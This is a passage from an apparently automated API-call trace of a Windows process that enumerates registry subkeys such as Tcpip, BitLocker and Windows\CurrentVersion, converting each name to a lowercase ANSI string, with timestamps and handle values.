lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0040.681] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6b, lpName=0x1d3b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x1d3c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0040.682] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6c, lpName=0x1d3b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x1d3c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0040.682] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6d, lpName=0x1d3b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x1d3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0040.682] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6e, lpName=0x1d3b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x1d3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0040.682] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6f, lpName=0x1d3b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x1d3c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0040.682] RegEnumKeyW (in: hKey=0x34, dwIndex=0x70, lpName=0x1d3b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x1d3c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0040.682] RegEnumKeyW (in: hKey=0x34, dwIndex=0x71, lpName=0x1d3b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x1d3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0040.682] RegEnumKeyW (in: hKey=0x34, dwIndex=0x72, lpName=0x1d3b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0040.683] RegEnumKeyW (in: hKey=0x34, dwIndex=0x73, lpName=0x1d3b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x1d3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0040.683] RegEnumKeyW (in: hKey=0x34, dwIndex=0x74, lpName=0x1d3b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0040.683] RegEnumKeyW (in: hKey=0x34, dwIndex=0x75, lpName=0x1d3b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x1d3c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0040.683] RegEnumKeyW (in: hKey=0x34, dwIndex=0x76, lpName=0x1d3b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x1d3c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0040.683] RegEnumKeyW (in: hKey=0x34, dwIndex=0x77, lpName=0x1d3b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x1d3c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0040.683] RegEnumKeyW (in: hKey=0x34, dwIndex=0x78, lpName=0x1d3b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0040.684] RegEnumKeyW (in: hKey=0x34, dwIndex=0x79, lpName=0x1d3b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x1d3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0040.684] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7a, lpName=0x1d3b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0040.684] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7b, lpName=0x1d3b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x1d3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0040.684] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7c, lpName=0x1d3b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0040.684] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7d, lpName=0x1d3b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x1d3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0040.684] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7e, lpName=0x1d3b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x1d3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0040.684] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7f, lpName=0x1d3b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x1d3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0040.685] RegEnumKeyW (in: hKey=0x34, dwIndex=0x80, lpName=0x1d3b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0040.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0040.685] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0040.685] RegCloseKey (hKey=0x34) returned 0x0 [0040.685] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1d3b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0040.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x1d3c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0040.685] RegOpenKeyExW (in: hKey=0x90, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0040.685] RegCloseKey (hKey=0x90) returned 0x0 [0040.685] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x1d3b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0040.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x1d3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0040.685] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x1d3b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0040.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x1d3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0040.685] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x1d3b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0040.686] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x1d3b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x1d3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0040.686] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x1d3b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x1d3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0040.686] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x1d3b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x1d3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0040.686] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x1d3b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1d3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0040.686] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x1d3b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x1d3c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0040.686] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x1d3b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x1d3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0040.687] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x1d3b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x1d3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0040.687] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x1d3b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x1d3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0040.687] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x1d3b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x1d3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0040.687] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x1d3b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x1d3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0040.687] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x1d3b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x1d3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0040.687] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x1d3b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 